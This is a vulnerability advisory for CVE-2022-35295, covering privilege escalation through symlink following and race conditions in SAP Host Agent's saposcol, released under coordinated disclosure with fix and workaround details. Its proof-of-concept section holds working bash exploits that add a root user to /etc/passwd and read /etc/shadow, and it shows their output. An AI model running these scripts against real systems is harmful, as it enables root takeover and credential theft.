`SEC Consult Vulnerability Lab Security Advisory < 20221213-0 > ======================================================================= title: Privilege Escalation Vulnerabilities (UNIX Insecure File Handling) product: SAP® Host Agent (saposcol) vulnerable version: see section "Vulnerable / tested versions" fixed version: see SAP security note 3159736 CVE number: CVE-2022-35295 impact: high homepage: https://www.sap.com/about.html found: 2022-02-18 by: Fabian Hagg (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "SAP® Host Agent is an agent that can accomplish several life-cycle management tasks, such as operating system monitoring, database monitoring, system instance control and provisioning." Source: https://help.sap.com/viewer/141cbf7f183242b0ad0964a5195b24e7/202110.000/en-US/48c6f9627a004da5e10000000a421937.html Business recommendation: ------------------------ By exploiting the vulnerabilities documented in this advisory, a local attacker may escalate privileges on UNIX systems to fully compromise vulnerable servers with root privileges. SEC Consult recommends to implement security note 3159736 where the documented issue is fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured. Vulnerability overview/description: ----------------------------------- Multiple vulnerabilities were identified that could allow a local attacker authenticated as adm to escalate privileges on SAP UNIX systems. No additional user authentication is required to exploit these issues. The vulnerabilities are due to the privileged saposcol process generating files in its default working directory (/usr/sap/tmp; defined by profile parameter DIR_PERF) owned by the adm user (sapsys group), and following symbolic links (symlinks) when trying to open/create these files. Note that in some environments the directory might not be owned by the adm user account but be writable for all users of group sapsys including adm. An attacker is able to spoof the symbolic links, thus traversing the file system and gaining access to unintended resources. This could permit an attacker to read/write/corrupt files owned by the root user account leading to privilege escalation. 1) UNIX Symlink Following and Insecure File Permissions in Detailed Lock Logging Feature of saposcol The stand-alone saposcol binary available in UNIX systems at /usr/sap/hostctrl/exe/saposcol provides a debugging feature called "detailed lock logging". For this option to be activated, the user adm can perform the following action: - Starting the stand-alone saposcol binary with command line argument StartLockLog (/usr/sap/hostctrl/exe/saposcol StartLockLog). Once executed, a special flag is set in shared memory that triggers multiple running processes and services (sapstartsrv, saposcol) to create a file called SaposcolMonAreaLocking.log in the default working directory. This directory is writable by the user adm (group sapsys). One of the processes trying to create the file is the main saposcol service running in the context of the root user account. It was observed that the file is created by the process using the openat() syscall with flags O_WRONLY, O_CREAT and O_APPEND. ----------------------------------------------------------------------- root@sapsrv:~# ps -efw root 1998 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/ exe/host_profile # Tracing the sapsocol process with PID 1998 root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q [...] openat(AT_FDCWD, "/usr/sap/tmp/SaposcolMonAreaLocking.log", O_WRONLY| O_CREAT|O_APPEND, 0666) = 6 chmod("/usr/sap/tmp/SaposcolMonAreaLocking.log", 0666) = 0 ----------------------------------------------------------------------- Since the openat() call does not have the O_EXCL flag set, it is not ensured that the process actually creates the file. That is, if the file under the given path already exists, the process tries to open the existing file for appending data to it and changing its permissions to world-readable/world-writable (666). Since the process, when opening an existing file, does not check (e.g., by setting the O_NOFOLLOW flag) whether it is a symbolic link that resolves to a target outside of the intended directory, an attacker can cause the process to operate on unauthorized files by placing a malicious symlink before activating the detailed lock logging feature via the stand-alone saposcol binary. This vulnerability may allow an attacker to gain read/ write access to arbitrary files owned by the root user account. 2) UNIX Symlink Following and Race Condition in Hardware Reporting Feature of saposcol The main saposcol service running in the context of the root user account allows to generate reports containing information about the underlying operating system and hardware configuration. For these reports to be generated, the user adm can perform different actions: - Using function GetSAPOSColHWConf of the saphostctrl binary (/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf [-format ]) that generates a SOAP request for the host agent service (SAPHostControl) on port 1128/1129. The request is forwarded by sapstartsrv to the saposcol service for processing. - Manually crafting a SOAP request identical to the one generated by the saphostctrl binary and sending it to localhost on port 1128 /1129 via the loopback interface (e.g., using curl). This request is forwarded by sapstartsrv to the saposcol service for processing. - Using the dialog interface of the stand-alone saposcol binary (/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask Hardware/ ask HardwareXML) that communicates with the saposcol service using shared memory segments. - Using transaction ST06 in the application layer (ABAP based instances only). When requested via the SOAP interface of SAPHostControl (sapstartsrv), the privileged saposcol process tries to generate the file hwconfig_ / hw_.xml (depending on whether the XML output format is queried) in its working directory. The process then collects information about OS resources and writes this data to the given file. Once saposcol finished its work, the SAPHostControl service opens and reads the file before providing the results to the caller via SOAP response. That is, the newly created file is handled as a shared resource by both processes. It was observed that when creating a malicious symlink before triggering the execution flow described above, the saposcol service does not verify if the link points to a resource outside of the intended directory. Therefore, the targeted file gets truncated, and the collected OS information is written into to it. This could allow an attacker to corrupt files owned by the root user account. Moreover, by looking at the sequence of system calls, it was identified that this procedure also yields a race condition that could be exploited to gain unauthorized read access to files without corrupting them. The syscalls performed by the two processes, when the hardware report is requested via the SOAP interface of SAPHostControl, is shown in the following listing. ----------------------------------------------------------------------- # Triggering the execution flow via the saphostctrl binary secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf # Tracing the saposcol process with PID 1998 root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q -o strace.saposcol -T -tt root@sapsrv:~# cat strace.saposcol | grep "/usr/sap/tmp/hwconfig_sapsrv" [...] 1998 01:06:18.370022 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC, 0664) = 6 1998 01:06:18.370473 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0 1998 01:06:18.370581 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0664) = 0 1998 01:06:35.231717 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0 1998 01:06:35.231833 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0640) = 0 [...] # Tracing the sapstartsrv SAPHostControl process with PID 1713 root@sapsrv:~# strace -f -e trace=open,openat,chmod,chown -p 1713 -q -o strace.sapstartsrv -T -tt root@sapsrv:~# less strace.sapstartsrv | grep "/usr/sap/tmp/hwconfig_sapsrv" [...] 1713 01:06:35.782818 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv", O_RDONLY) = 20 [...] ----------------------------------------------------------------------- It can be seen that the saposcol service first requests a file descriptor by creating the report file via the openat() syscall. The file is made readable/writable (664) to all users of group sapsys by means of the first series of chmod()/chown() syscalls. The process then retrieves the OS information and writes the results into the report file before a second series of chmod()/chown() syscall ensures that this file is made read-only (640) to users of group sapsys only. The program, however, does not check whether the file under the given path has changed since it was created in the first place. An attacker can attempt to place a malicious symlink in the interval between the saposcol process succeeds in creating the report file and obtaining a file descriptor and before the file permissions are changed by the second series of chmod()/chown() syscalls. If an attacker manages to carefully choose the time period between triggering the execution flow and replacing the newly created file with a link to an otherwise inaccessible resource, this resource does not get corrupted. Instead, the targeted file is made readable to all users of group sapsys, and its content is returned by the SAPHostControl process opening the file in read-only mode afterwards. This may allow an attacker to gain read access to files owned by the root user account. 3) UNIX Symlink Following and Race Condition in System Log Feature of saposcol The main saposcol service running in the context of the root user account allows to generate reports containing information about operating system logs. For these reports to be generated, the user adm can perform the following action: - Using the dialog interface of the stand-alone saposcol binary (/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask OsSysLog ) that communicates with the main saposcol process using shared memory segments. - Using transaction ST06 in the application layer (ABAP based instances only). It was observed that when creating the system log report file ossyslog_ in its working directory, the saposcol process appears to be vulnerable to the same issues as described in 2. 4) UNIX Symlink Following in Log File Creation of saposcol The main saposcol service running in the context of the root user account writes log information to the files dev_coll and dev_coll.tmp in its working directory. It was observed that when creating these log files during startup, the saposcol process resolves malicious symlinks which can be exploited to corrupt arbitrary files owned by the root user account. For successful exploitation, however, user interaction and a restart of the main saposcol process is required. To provoke a restart, the adm user can stop the running saposcol process by performing the following action: - Using option -k of the stand-alone saposcol binary (/usr/sap/hostctrl/exe/saposcol -k) that communicates with the main saposcol process using shared memory segments. 5) UNIX Symlink Following in Shared Memory Dump File Creation of saposcol The main saposcol service running in the context of the root user account writes the data in the shared memory segment to the file coll.put in its working directory when being terminated. It was observed that when creating this file, the saposcol process resolves malicious symlinks which can be exploited to corrupt arbitrary files owned by the root user account. To stop the running saposcol process and trigger the execution flow, the adm user can perform the following action: - Using option -k of the stand-alone saposcol binary (/usr/sap/hostctrl/exe/saposcol -k) that communicates with the main saposcol process using shared memory segments. Proof of concept: ----------------- Note that the following PoCs are for demonstration purposes only and must not be executed in live environments. 1) UNIX Symlink Following and Insecure File Permissions in Detailed Lock Logging Feature of saposcol For demonstration purposes, the bash snippet saposcollpe shown in the following listing can be executed when being authenticated to the local system as adm. ----------------------------------------------------------------------- #!/bin/bash PASSWD="/etc/passwd" USER=$1 PASS=$(openssl passwd -1 -salt $1 $2) echo "[i] Creating malicious symlink." ln -sf $PASSWD /usr/sap/tmp/SaposcolMonAreaLocking.log; echo "[i] Dropping dbg flag in shm via saposcol." /usr/sap/hostctrl/exe/saposcol StartLockLog > /dev/null; echo "[i] Waiting for permissions to be set..." while true; do if [ -w $PASSWD ] then rm -f /usr/sap/tmp/SaposcolMonAreaLocking.log; /usr/sap/hostctrl/exe/saposcol StopLockLog > /dev/null; echo "[i] Success. /etc/passwd is now world-writable." echo "$USER:$PASS:0:0::/root:/bin/bash" >> /etc/passwd; echo "[i] New user" $USER "with UID 0 created." break fi done echo "[+] Done" ----------------------------------------------------------------------- This script exploits the vulnerability to create a new user (username and password specified via command line args) holding root privileges. ----------------------------------------------------------------------- secadm@sapsrv:~$ whoami secadm secadm@sapsrv:~$ id uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst) secadm@sapsrv:~$ ./saposcollpe sapmatt sappass [i] Creating malicious symlink. [i] Dropping dbg flag in shm via saposcol. [i] Waiting for permissions to be set. [i] Success. /etc/passwd is now world-writable. [i] New user sapmatt with UID 0 created. [+] Done secadm@sapsrv:~$ su - sapmatt Password: Directory: /root sapsrv:~# whoami sapmatt sapsrv:~# id uid=0(sapmatt) gid=0(root) groups=0(root) ----------------------------------------------------------------------- 2) UNIX Symlink Following and Race Condition in Hardware Reporting For demonstration purposes, the bash snippet saposcolrace shown in the following listing can be executed when being authenticated to the local system as adm. ----------------------------------------------------------------------- #!/bin/bash HOST=$(hostname) TARGETFILE=$1 COUNTER=10 OUT="CONTINUE" ls -la $TARGETFILE echo "[i] Racing..." while [ -n "$OUT" ] do echo "[*] $COUNTER sec" rm -f /usr/sap/tmp/hwconfig_$HOST /usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf > /tmp/out 2>>/tmp/out & sleep "$COUNTER"s; ln -sf $TARGETFILE /usr/sap/tmp/hwconfig_$HOST #set symbolic link wait; rm -f /usr/sap/tmp/hwconfig_$HOST OUT=$(cat /tmp/out | grep -i "HW File") if [ -n "$OUT" ] then echo "[i] Final laps..." let "COUNTER-=1" else OUT=$(cat /tmp/out | grep -i "LINUX Configuration") let "COUNTER-=1" fi done echo "[+] Profit!" ls -la $TARGETFILE && cat /tmp/out && rm -f /tmp/out ----------------------------------------------------------------------- This script exploits the vulnerability to obtain the contents of a file specified as a command line argument. In the following example, the /etc/shadow file containing password hashes of the system accounts is retrieved. ----------------------------------------------------------------------- secadm@sapsrv:~$ whoami secadm secadm@sapsrv:~$ id uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst) secadm@sapsrv:~$ ./saposcolrace /etc/shadow -rw-r----- 1 root shadow 609 Feb 9 2021 /etc/shadow [i] Racing.... [*] 10 sec [*] 9 sec [*] 8 sec [*] 7 sec [*] 6 sec [*] 5 sec [*] 4 sec [*] 3 sec [i] Final laps.... [*] 2 sec [+] Profit! -rw-r----- 1 root sapsys 609 Feb 9 2021 /etc/shadow Webmethod returned successfully ----------------------------------------------------------------------- Name = /usr/sap/tmp/hwconfig_sapsrv Content ----------------------------------------------------------------------- root:*:18516:::::: bin:*:18516:::::: daemon:*:18516:::::: [...] ----------------------------------------------------------------------- 3) UNIX Symlink Following and Race Condition in System Log Feature of saposcol The vulnerability can be verified by placing a malicious symlink and querying the operating system logs via the stand-alone saposcol binary as shown in the following listing. ----------------------------------------------------------------------- secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/ossyslog_ secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -d Collector > ask OsSysLog 10 ----------------------------------------------------------------------- After execution, the file /etc/passwd containing essential user account information is overwritten by system log information. The file is also made read-only to users of group sapsys only. If the time period between querying the operating system log and replacing the newly created report file with a malicious symlink is chosen carefully (similar to the technique shown in 2.), the targeted file can be made readable without corrupting it. 4) UNIX Symlink Following in Log File Creation of saposcol The vulnerability can be verified by placing a malicious symlink as shown in the following listing. ----------------------------------------------------------------------- secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll.tmp ----------------------------------------------------------------------- After a restart of the main saposcol process, the file /etc/passwd containing essential user account information is overwritten by log data. 5) UNIX Symlink Following in Shared Memory Dump File Creation of saposcol The vulnerability can be verified by placing a malicious symlink and stopping the running saposcol process via the stand-alone saposcol binary as shown in the following listing. ----------------------------------------------------------------------- secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/coll.put secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -k ----------------------------------------------------------------------- After termination of the main saposcol process, the file /etc/passwd containing essential user account information is overwritten by current data in the shared memory segment. Vulnerable / tested versions: ----------------------------- The following versions of the binaries were found to be vulnerable during our tests: - SAP Host Agent 721 (patch no. 42) SAPOSCOL version COLL 22.11 721 - v2.42 (patch no. 1214) - SAP Host Agent 722 (patch no. 54) SAPOSCOL version COLL 22.11 722 - v2.49 (patch no. 1113) According to the vendor the following releases and versions are affected by the discovered vulnerabilities: - SAPHOSTAGENT 7.22 Vendor contact timeline: ------------------------ 2022-02-22: Contacting vendor through vulnerability submission web form. 2022-02-23: Vendor confirms receipt and assigns internal ID #2280075571. 2022-03-02: Vendor asks for additional information on file system permissions. 2022-03-03: Providing required information via encrypted PGP mail. 2022-03-09: Vendor asks for additional information on file system permissions. 2022-03-10: Providing required information via encrypted PGP mail. 2022-03-30: Vendor accepts vulnerability and states that a fix is in progress. The initially submitted CVSS assessment 7.8 (LLLN|U|HHH) is disagreed with. A new vector string/score 6.7 (NLHN|U|LHH) is proposed by the vendor. 2022-04-04: Providing detailed explanation for initially submitted CVSS score and CVSS vector string. No answer received. 2022-06-14: Requesting update. 2022-06-28: Vendor informs that the security note is expected to be released at September Patchday 2022. 2022-09-10: Vendor informs about upcoming release of the patch and registration of CVE number. 2022-09-13: Vendor releases patch with SAP Security Note 3159736. The corresponding CVE possess a CVSS vector string/score of 6.7 (NLHN|U|LHH). 2022-12-13: Coordinated release of security advisory. Solution: --------- The vendor provides a patched version which should be installed immediately. Patches are available in form of SAP Security Notes which can be accessed via the SAP Customer Launchpad [1]. More information can also be found in the Official SAP Security Patchday Blog [2]. The following Security Note needs to be implemented: 3159736 [1] https://launchpad.support.sap.com/#/securitynotes [2] https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10 Workaround: ----------- Remove write access to the DIR_PERF (e.g. /usr/sap/tmp) directory for adm account. Note that this change may interfere with other programs such as CCMS. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF F. Hagg / @2022 `